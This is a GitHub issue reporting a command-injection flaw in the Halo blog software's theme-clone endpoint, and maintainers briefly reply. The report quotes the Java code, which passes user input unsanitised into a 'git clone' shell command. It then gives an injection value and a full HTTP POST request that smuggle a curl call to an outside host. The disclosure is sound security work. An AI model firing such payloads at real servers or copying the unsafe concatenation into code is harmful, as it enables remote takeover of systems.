New issue

Jump to bottom

# Remote Code Execution in your system #134

Closed 4 of 6 tasks **Artemis1029** opened this issue on Apr 4, 2019 · 2 comments

Labels kind/bug vulnerability

**Artemis1029** commented on Apr 4, 2019 • edited

**我确定我已经查看了** (标注 [ ] 为 [x] )

- [x] Halo 使用文档
- [x] Github Wiki 常见问题
- [x] 其他 Issues

**我要申请** (标注 [ ] 为 [x] )

- [x] BUG 反馈
- [ ] 添加新的特性或者功能
- [ ] 请求技术支持

## Bug Report

I read the code and find that function `cloneFromRemote` have a system call as

```
@PostMapping(value = "/clone")
    @ResponseBody
    public JsonResult cloneFromRemote(@RequestParam(value = "remoteAddr") String remoteAddr,
                                      @RequestParam(value = "themeName") String themeName) {
        if (StrUtil.isBlank(remoteAddr) || StrUtil.isBlank(themeName)) {
            return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.common.info-no-complete"));
        }
        try {
            final File basePath = new File(ResourceUtils.getURL("classpath:").getPath());
            final File themePath = new File(basePath.getAbsolutePath(), "templates/themes");
            final String cmdResult = RuntimeUtil.execForStr("git clone " + remoteAddr + " " + themePath.getAbsolutePath() + "/" + themeName);
            if (NOT_FOUND_GIT.equals(cmdResult)) {
                return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.theme.no-git"));
            }
            THEMES.clear();
            THEMES = HaloUtils.getThemes();
        } catch (FileNotFoundException e) {
            log.error("Cloning theme failed: {}", e.getMessage());
            return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.theme.clone-theme-failed") + e.getMessage());
        }
        return new JsonResult(ResultCodeEnum.SUCCESS.getCode(), localeMessageUtil.getMessage("code.admin.common.install-success"));
    }
```

in

```
final String cmdResult = RuntimeUtil.execForStr("git clone " + remoteAddr + " " + themePath.getAbsolutePath() + "/" + themeName);
```

and you have do nothig with the `remoteAddr` and `themeName` , so I can type in

```
remoteAddr=a & curl xxx.xxx.xxx #
themeName = 2333
```

and cmdString is

```
git clone a & cmd # xxxxxx
# cmd is your commad
```

to RCE

```
POST /admin/themes/clone HTTP/1.1
Host: *******
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: *******
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 60
Connection: close
Cookie:
X-Forwarded-For: 127.0.0.2

remoteAddr=a+%26+curl+111111111%3A1339%23&themeName=aaa
```

ruibaby added the kind/bug label on Apr 4, 2019

**ruibaby** commented on Apr 4, 2019 Member

Ok, we will start to solve these problems, thank you very much for your feedback.

**JohnNiang** added the **vulnerability** label on Apr 4, 2019

**ruibaby** commented on May 28, 2019 Member

准备发布 v1，所以关闭该 issue。

**ruibaby** closed this as completed on May 28, 2019

Assignees

No one assigned

Labels

kind/bug **vulnerability**

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants